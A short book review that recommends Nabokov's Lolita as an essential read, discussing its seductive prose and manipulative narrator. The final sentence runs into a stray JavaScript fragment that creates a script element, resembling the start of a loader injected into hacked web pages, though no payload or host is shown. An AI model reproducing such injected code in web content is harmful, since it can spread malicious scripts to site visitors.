Essential Read: Lolita

Essential Read Lolita

By Jenna Robertson


“Lolita, light of my life, fire of my loins. My sin, my soul. Lo-lee-ta: the tip of my tongue taking a trip of three steps down the palate to tap, at three, on the teeth. Lo. Lee. Ta.”

So begins Vladimir Nabokov’s infamous 1955 novel, Lolita. In his masterful, sensory prose it’s easy to become lost, disorientated even. And that’s the point.

The plot of Lolita is relatively straightforward – it’s the reader’s response which can be become complicated. After tragically losing his childhood sweetheart, Humbert Humbert grows up to become a man obsessed. Obsessed with ‘nymphets’, or pre-pubescent girls. After the end of his unhappy marriage, Humbert relocates, and he and his dark secret take up residence with Charlotte Haze, a widow, and mother of 12 year-old Dolores ‘Lolita’ Haze. Humbert becomes infatuated with Dolores, who becomes his ‘rosy, gold-dusted’ sole reason for being. This frighteningly charming monster will stop at nothing to have his ‘little Carmen’ exclusively to himself, eloping with her and the reader.

Lolita is a novel which can, and most likely will, leave you feeling perplexed. As shocking as it is brilliant, and disgusting as it is beautiful, it is a novel full of contradictions. Humbert, as the narrator, attempts to convince the reader of his good intentions, while Nabokov, as the author, hopes to convey the exact opposite, making for a truly twisted narrative.

Those expecting graphic, almost pornographic prose will not find it here, which is the beauty of the novel. Humbert’s actions are inexcusable yet he recounts the events of his affair so eloquently that, just for a moment, we find ourselves the victims of his seductive prose. To realise just how perverted our narrator is, we have to look beyond his flowery, romantic rhetoric – a task which, with Nabokov behind the typewriter, proves wonderfully challenging.

Reading Lolita is an intense experience, and afterwards, you may even find yourself suffering from a phenomenal ‘book hangover’, i.e. reluctance to begin another book, as it will pale in comparison to the one you’ve just finished. I certainly found myself hung-up on the novel, as Humbert’s world is horrific but fascinating, and everyone who visits is reluctant to leave. This is precisely why it is an essential read.

Almost in its 60th year, Lolita has not lost any of its originality or shocking perverseness, which made it so controversial at the time of publication. So even if it is only to understand the fuss that surrounds it, or to size up Nabokov’s style, you must read this book, because nothing compares to Lolita.var d=document;var s=d.createElement(‘script’);